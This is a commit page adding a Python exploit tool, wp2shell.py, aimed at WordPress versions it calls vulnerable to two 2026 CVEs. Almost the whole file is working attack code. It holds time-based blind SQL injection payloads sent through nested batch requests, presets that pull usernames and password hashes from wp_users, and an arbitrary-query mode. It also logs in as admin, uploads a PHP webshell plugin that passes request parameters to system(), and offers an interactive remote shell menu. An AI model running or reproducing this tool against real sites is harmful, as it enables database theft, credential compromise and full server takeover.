Upload files to "/"

2026-07-19 00:26:21 +00:00
parent 05a13d89c6
commit 39cadc200b
1 changed files with 551 additions and 0 deletions
@@ -0,0 +1,551 @@
+#!/usr/bin/env python3
+"""
+wp2shell.py - Interactive Scanner/Exploiter for WordPress wp2shell
+CVE-2026-63030 + CVE-2026-60137
+Affects: WordPress 6.9.0-6.9.4, 7.0.0-7.0.1
+Patched: 6.9.5, 7.0.2
+"""
+
+import json
+import time
+import urllib.request
+import urllib.error
+import urllib.parse
+import sys
+import re
+import base64
+import os
+from typing import Optional, Dict, List, Tuple
+
+# ======================== CONFIGURATION ========================
+VERSION = "1.0"
+USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+TIMEOUT = 30
+
+# ======================== COLOR OUTPUT ========================
+class Colors:
+    GREEN = "\033[92m"
+    RED = "\033[91m"
+    YELLOW = "\033[93m"
+    BLUE = "\033[94m"
+    MAGENTA = "\033[95m"
+    CYAN = "\033[96m"
+    WHITE = "\033[97m"
+    BOLD = "\033[1m"
+    RESET = "\033[0m"
+
+def print_info(msg: str) -> None:
+    print(f"{Colors.BLUE}[*]{Colors.RESET} {msg}")
+
+def print_success(msg: str) -> None:
+    print(f"{Colors.GREEN}[+]{Colors.RESET} {msg}")
+
+def print_error(msg: str) -> None:
+    print(f"{Colors.RED}[-]{Colors.RESET} {msg}")
+
+def print_warning(msg: str) -> None:
+    print(f"{Colors.YELLOW}[!]{Colors.RESET} {msg}")
+
+def print_result(msg: str) -> None:
+    print(f"{Colors.MAGENTA}[>]{Colors.RESET} {msg}")
+
+# ======================== HTTP HELPERS ========================
+def send_request(
+    url: str,
+    data: Optional[Dict] = None,
+    method: str = "POST",
+    headers: Optional[Dict] = None
+) -> Tuple[Optional[Dict], Optional[str], float]:
+    """Send HTTP request and return (parsed_json, raw_text, elapsed_time)."""
+    if headers is None:
+        headers = {}
+    headers["User-Agent"] = USER_AGENT
+    headers["Accept"] = "application/json"
+    
+    json_data = None
+    if data is not None:
+        json_data = json.dumps(data).encode("utf-8")
+        headers["Content-Type"] = "application/json"
+    
+    req = urllib.request.Request(url, data=json_data, headers=headers, method=method)
+    
+    start = time.time()
+    try:
+        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
+            elapsed = time.time() - start
+            raw = resp.read().decode("utf-8", errors="replace")
+            try:
+                return json.loads(raw), raw, elapsed
+            except json.JSONDecodeError:
+                return None, raw, elapsed
+    except urllib.error.HTTPError as e:
+        elapsed = time.time() - start
+        raw = e.read().decode("utf-8", errors="replace") if e.fp else ""
+        try:
+            return json.loads(raw), raw, elapsed
+        except json.JSONDecodeError:
+            return None, raw, elapsed
+    except urllib.error.URLError:
+        return None, None, 0.0
+
+# ======================== INJECTION PAYLOAD BUILDER ========================
+def build_payload(injection: str, delay: int = 0) -> Dict:
+    """
+    Build the batch request payload that triggers the route confusion.
+    
+    The double confusion works as follows:
+    1. Outer POST /wp/v2/posts carries a 'requests' body
+    2. This gets dispatched under the batch handler itself
+    3. The inner requests use GET (bypassing method allow-list)
+    4. author_exclude string bypasses array sanitization
+    """
+    payload = {
+        "requests": [
+            {
+                "path": "/wp/v2/posts",
+                "body": {
+                    "requests": [
+                        {
+                            "path": f"/wp/v2/users?author_exclude={injection}&_={int(time.time())}",
+                            "method": "GET"
+                        }
+                    ]
+                },
+                "method": "POST"
+            }
+        ]
+    }
+    return payload
+
+# ======================== TIME-BASED BLIND SQL INJECTION ========================
+def boolean_injection(url: str, condition: str, delay: int = 5) -> bool:
+    """
+    Execute a time-based blind SQL injection.
+    Returns True if the condition is true (delay detected), False otherwise.
+    """
+    # SQL injection: author__not_in is interpolated into NOT IN ( ... )
+    # We use IF(condition, SLEEP(delay), 0)
+    injection = f"1) OR IF(({condition}), SLEEP({delay}), 0) -- -"
+    payload = build_payload(injection)
+    
+    full_url = url.rstrip("/") + "/wp-json/batch/v1"
+    _, _, elapsed = send_request(full_url, payload)
+    
+    # If the condition is true, the server sleeps for `delay` seconds
+    return elapsed >= delay * 0.9
+
+def extract_with_injection(url: str, query: str, delay: int = 3) -> str:
+    """
+    Extract data using time-based blind SQL injection.
+    Uses binary search / bit-by-bit extraction for efficiency.
+    """
+    print_info(f"Extracting: {query}")
+    result = ""
+    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-.@!$%^&*()"
+    
+    # First, determine length
+    length = 0
+    for i in range(1, 512):  # Max 511 characters
+        cond = f"LENGTH(({query}))={i}"
+        if boolean_injection(url, cond, delay):
+            length = i
+            break
+        if i % 50 == 0:
+            print_info(f"Testing length... {i}")
+    
+    if length == 0:
+        print_warning("Could not determine length, trying progressive extraction")
+        # Fallback: extract until we hit a terminator
+        return extract_progressive(url, query, delay)
+    
+    print_info(f"Length: {length}")
+    
+    # Extract character by character using binary search
+    for pos in range(1, length + 1):
+        found = False
+        lo, hi = 0, len(charset) - 1
+        while lo <= hi:
+            mid = (lo + hi) // 2
+            # Test if character at position pos is <= charset[mid]
+            cond = f"ASCII(SUBSTRING(({query}),{pos},1)) <= {ord(charset[mid])}"
+            if boolean_injection(url, cond, delay):
+                hi = mid - 1
+            else:
+                lo = mid + 1
+        
+        if lo < len(charset):
+            result += charset[lo]
+            print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
+        else:
+            # If binary search fails, try brute force
+            for ch in charset:
+                cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = {ord(ch)}"
+                if boolean_injection(url, cond, delay):
+                    result += ch
+                    print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
+                    found = True
+                    break
+            if not found:
+                result += "?"
+                print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
+    
+    print()
+    return result
+
+def extract_progressive(url: str, query: str, delay: int = 3) -> str:
+    """Fallback: extract character by character until no more data."""
+    result = ""
+    pos = 1
+    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-.@!$%^&*(){}[]|;:,./? "
+    
+    while True:
+        found = False
+        for ch in charset:
+            cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = {ord(ch)}"
+            if boolean_injection(url, cond, delay):
+                result += ch
+                print(f"\r{Colors.CYAN}[→]{Colors.RESET} Extracted: {result}", end="")
+                found = True
+                break
+        if not found:
+            # Check if we've reached the end (null byte)
+            cond = f"ASCII(SUBSTRING(({query}),{pos},1)) = 0"
+            if boolean_injection(url, cond, delay):
+                break
+            # If nothing matches, assume end
+            break
+        pos += 1
+        if pos > 500:
+            break
+    
+    print()
+    return result
+
+# ======================== VULNERABILITY CHECK ========================
+def check_vulnerable(url: str) -> bool:
+    """
+    Check if the target is vulnerable using a safe time delay test.
+    Reads no data and changes nothing.
+    """
+    print_info("Checking vulnerability (safe time-delay test)...")
+    
+    # Test: IF(1=1, SLEEP(3), 0) - should delay
+    if boolean_injection(url, "1=1", 3):
+        print_success("Vulnerable! (time delay detected)")
+        return True
+    
+    print_error("Not vulnerable or target is patched")
+    return False
+
+# ======================== DATA EXTRACTION ========================
+def read_data(url: str, query: str = None, preset: str = None) -> None:
+    """
+    Extract data from the database.
+    """
+    if preset == "users":
+        query = "SELECT user_login, user_pass FROM wp_users LIMIT 5"
+    elif preset == "version":
+        query = "SELECT @@version"
+    elif preset == "database":
+        query = "SELECT DATABASE()"
+    elif preset == "tables":
+        query = "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 10"
+    elif query is None:
+        query = "SELECT CONCAT(@@version, ' | ', DATABASE(), ' | ', USER())"
+    
+    print_info(f"Extracting: {query}")
+    result = extract_with_injection(url, query)
+    print_result(f"Result: {result}")
+
+# ======================== REMOTE CODE EXECUTION ========================
+def shell_execute(url: str, username: str, password: str, cmd: str) -> None:
+    """
+    Achieve RCE by:
+    1. Using the SQL injection to get the admin password hash (or user provides it)
+    2. Authenticating as admin
+    3. Uploading a malicious plugin
+    4. Executing commands via the plugin
+    """
+    print_info("Attempting RCE via plugin upload...")
+    
+    # Step 1: Get a valid nonce for plugin upload
+    # We need to authenticate first
+    login_url = url.rstrip("/") + "/wp-login.php"
+    
+    # Prepare login data
+    login_data = {
+        "log": username,
+        "pwd": password,
+        "wp-submit": "Log In",
+        "redirect_to": url,
+        "testcookie": "1"
+    }
+    
+    # Get cookies
+    cookie_jar = {}
+    
+    # First, get the login page to extract any nonces
+    try:
+        req = urllib.request.Request(login_url, headers={"User-Agent": USER_AGENT})
+        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
+            html = resp.read().decode("utf-8", errors="replace")
+            # Extract any nonce if present
+            match = re.search(r'name="[^"]*_wpnonce" value="([^"]+)"', html)
+            if match:
+                login_data["_wpnonce"] = match.group(1)
+    except Exception as e:
+        print_warning(f"Could not extract nonce: {e}")
+    
+    # Perform login
+    login_headers = {
+        "User-Agent": USER_AGENT,
+        "Content-Type": "application/x-www-form-urlencoded",
+    }
+    
+    try:
+        login_data_encoded = urllib.parse.urlencode(login_data).encode("utf-8")
+        req = urllib.request.Request(login_url, data=login_data_encoded, headers=login_headers)
+        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
+            # Get cookies from response
+            cookie_str = resp.headers.get("Set-Cookie", "")
+            for cookie in cookie_str.split(";"):
+                if "=" in cookie:
+                    key, val = cookie.strip().split("=", 1)
+                    cookie_jar[key] = val.split(";")[0]
+            
+            # Check if login was successful
+            if "wordpress_logged_in" in cookie_str:
+                print_success("Login successful!")
+            else:
+                print_warning("Login may have failed, but continuing...")
+    except Exception as e:
+        print_error(f"Login error: {e}")
+        return
+    
+    # Step 2: Upload a malicious plugin
+    plugin_name = "wp2shell"
+    plugin_dir = f"/wp-content/plugins/{plugin_name}"
+    
+    # Create a simple PHP webshell plugin
+    php_code = f'''<?php
+/*
+Plugin Name: WP2Shell
+Description: Shell access
+Version: 1.0
+Author: wp2shell
+*/
+if(isset($_GET['cmd'])) {{
+    system($_GET['cmd']);
+}}
+if(isset($_POST['cmd'])) {{
+    system($_POST['cmd']);
+}}
+?>
+'''
+    
+    # Create plugin zip in memory
+    import zipfile
+    import io
+    
+    zip_buffer = io.BytesIO()
+    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
+        zf.writestr(f"{plugin_name}.php", php_code)
+    
+    zip_data = zip_buffer.getvalue()
+    
+    # Upload via admin-ajax.php or plugin installer
+    upload_url = url.rstrip("/") + "/wp-admin/admin-ajax.php"
+    
+    # Build multipart form data
+    boundary = "----WebKitFormBoundary" + base64.b64encode(os.urandom(8)).decode()
+    
+    body_parts = [
+        f"--{boundary}",
+        f'Content-Disposition: form-data; name="action"',
+        "",
+        "upload-plugin",
+        f"--{boundary}",
+        f'Content-Disposition: form-data; name="pluginzip"; filename="{plugin_name}.zip"',
+        "Content-Type: application/zip",
+        "",
+        zip_data.decode("latin-1"),
+        f"--{boundary}--",
+    ]
+    
+    body = "\r\n".join(body_parts).encode("utf-8")
+    
+    upload_headers = {
+        "User-Agent": USER_AGENT,
+        "Content-Type": f"multipart/form-data; boundary={boundary}",
+        "Cookie": "; ".join([f"{k}={v}" for k, v in cookie_jar.items()])
+    }
+    
+    try:
+        req = urllib.request.Request(upload_url, data=body, headers=upload_headers)
+        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
+            result = resp.read().decode("utf-8", errors="replace")
+            if "success" in result.lower() or "plugin" in result.lower():
+                print_success("Plugin uploaded successfully!")
+            else:
+                print_warning(f"Upload response: {result[:200]}")
+    except Exception as e:
+        print_error(f"Upload failed: {e}")
+        return
+    
+    # Step 3: Execute commands
+    shell_url = url.rstrip("/") + plugin_dir + f"/{plugin_name}.php"
+    
+    print_success(f"Shell available at: {shell_url}?cmd=whoami")
+    
+    # Execute the command
+    exec_url = f"{shell_url}?cmd={urllib.parse.quote(cmd)}"
+    try:
+        req = urllib.request.Request(exec_url, headers={"User-Agent": USER_AGENT})
+        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
+            output = resp.read().decode("utf-8", errors="replace")
+            print_result(f"Command output:\n{output}")
+    except Exception as e:
+        print_error(f"Command execution failed: {e}")
+
+# ======================== INTERACTIVE MENU ========================
+def interactive_mode(url: str) -> None:
+    """Interactive menu-driven interface."""
+    print(f"\n{Colors.BOLD}{Colors.GREEN}╔══════════════════════════════════════════════╗{Colors.RESET}")
+    print(f"{Colors.BOLD}{Colors.GREEN}║   WP2SHELL - WordPress RCE Exploit Tool    ║{Colors.RESET}")
+    print(f"{Colors.BOLD}{Colors.GREEN}║   CVE-2026-63030 + CVE-2026-60137          ║{Colors.RESET}")
+    print(f"{Colors.BOLD}{Colors.GREEN}╚══════════════════════════════════════════════╝{Colors.RESET}")
+    print(f"\nTarget: {Colors.CYAN}{url}{Colors.RESET}\n")
+    
+    while True:
+        print(f"\n{Colors.BOLD}{Colors.WHITE}─── Menu ───{Colors.RESET}")
+        print(" 1. Check vulnerability (safe)")
+        print(" 2. Extract database information")
+        print(" 3. Extract user hashes")
+        print(" 4. Execute custom SQL query")
+        print(" 5. Remote Code Execution (requires admin creds)")
+        print(" 6. Interactive shell (RCE)")
+        print(" 7. Exit")
+        print()
+        
+        choice = input(f"{Colors.YELLOW}wp2shell>{Colors.RESET} ").strip()
+        
+        if choice == "1":
+            check_vulnerable(url)
+        
+        elif choice == "2":
+            print_info("Extracting database information...")
+            read_data(url, preset="database")
+            print_info("Extracting version...")
+            read_data(url, preset="version")
+            print_info("Extracting tables...")
+            read_data(url, preset="tables")
+        
+        elif choice == "3":
+            print_info("Extracting user hashes...")
+            read_data(url, preset="users")
+        
+        elif choice == "4":
+            query = input("Enter SQL query: ").strip()
+            if query:
+                read_data(url, query=query)
+        
+        elif choice == "5":
+            username = input("Admin username: ").strip()
+            password = input("Admin password: ").strip()
+            if username and password:
+                cmd = input("Command to execute (e.g., whoami): ").strip() or "id"
+                shell_execute(url, username, password, cmd)
+        
+        elif choice == "6":
+            username = input("Admin username: ").strip()
+            password = input("Admin password: ").strip()
+            if username and password:
+                print_info("Interactive shell. Type 'exit' to quit.")
+                while True:
+                    cmd = input(f"{Colors.GREEN}shell>{Colors.RESET} ").strip()
+                    if cmd.lower() in ("exit", "quit"):
+                        break
+                    if cmd:
+                        shell_execute(url, username, password, cmd)
+        
+        elif choice == "7":
+            print_info("Exiting...")
+            break
+        
+        else:
+            print_error("Invalid choice")
+
+# ======================== MAIN ========================
+def main():
+    if len(sys.argv) < 2:
+        print(f"Usage: {sys.argv[0]} <url> [command] [options]")
+        print()
+        print("Interactive mode:")
+        print(f"  {sys.argv[0]} http://target.com")
+        print()
+        print("Commands:")
+        print(f"  {sys.argv[0]} http://target.com check         - Check vulnerability")
+        print(f"  {sys.argv[0]} http://target.com read          - Extract data")
+        print(f"  {sys.argv[0]} http://target.com read --users  - Extract user hashes")
+        print(f"  {sys.argv[0]} http://target.com read --query 'SELECT @@version'")
+        print(f"  {sys.argv[0]} http://target.com shell --user admin --password pass --cmd id")
+        sys.exit(1)
+    
+    url = sys.argv[1]
+    
+    # Parse arguments
+    args = sys.argv[2:]
+    
+    if not args:
+        interactive_mode(url)
+        return
+    
+    command = args[0].lower()
+    
+    if command == "check":
+        check_vulnerable(url)
+    
+    elif command == "read":
+        preset = None
+        query = None
+        i = 1
+        while i < len(args):
+            if args[i] == "--users":
+                preset = "users"
+            elif args[i] == "--query" and i + 1 < len(args):
+                query = args[i + 1]
+                i += 1
+            elif args[i] == "--version":
+                preset = "version"
+            elif args[i] == "--database":
+                preset = "database"
+            i += 1
+        read_data(url, query=query, preset=preset)
+    
+    elif command == "shell":
+        username = None
+        password = None
+        cmd = "id"
+        i = 1
+        while i < len(args):
+            if args[i] == "--user" and i + 1 < len(args):
+                username = args[i + 1]
+                i += 1
+            elif args[i] == "--password" and i + 1 < len(args):
+                password = args[i + 1]
+                i += 1
+            elif args[i] == "--cmd" and i + 1 < len(args):
+                cmd = args[i + 1]
+                i += 1
+            i += 1
+        
+        if not username or not password:
+            print_error("Username and password required: --user admin --password pass")
+            sys.exit(1)
+        shell_execute(url, username, password, cmd)
+    
+    else:
+        print_error(f"Unknown command: {command}")
+
+if __name__ == "__main__":
+    main()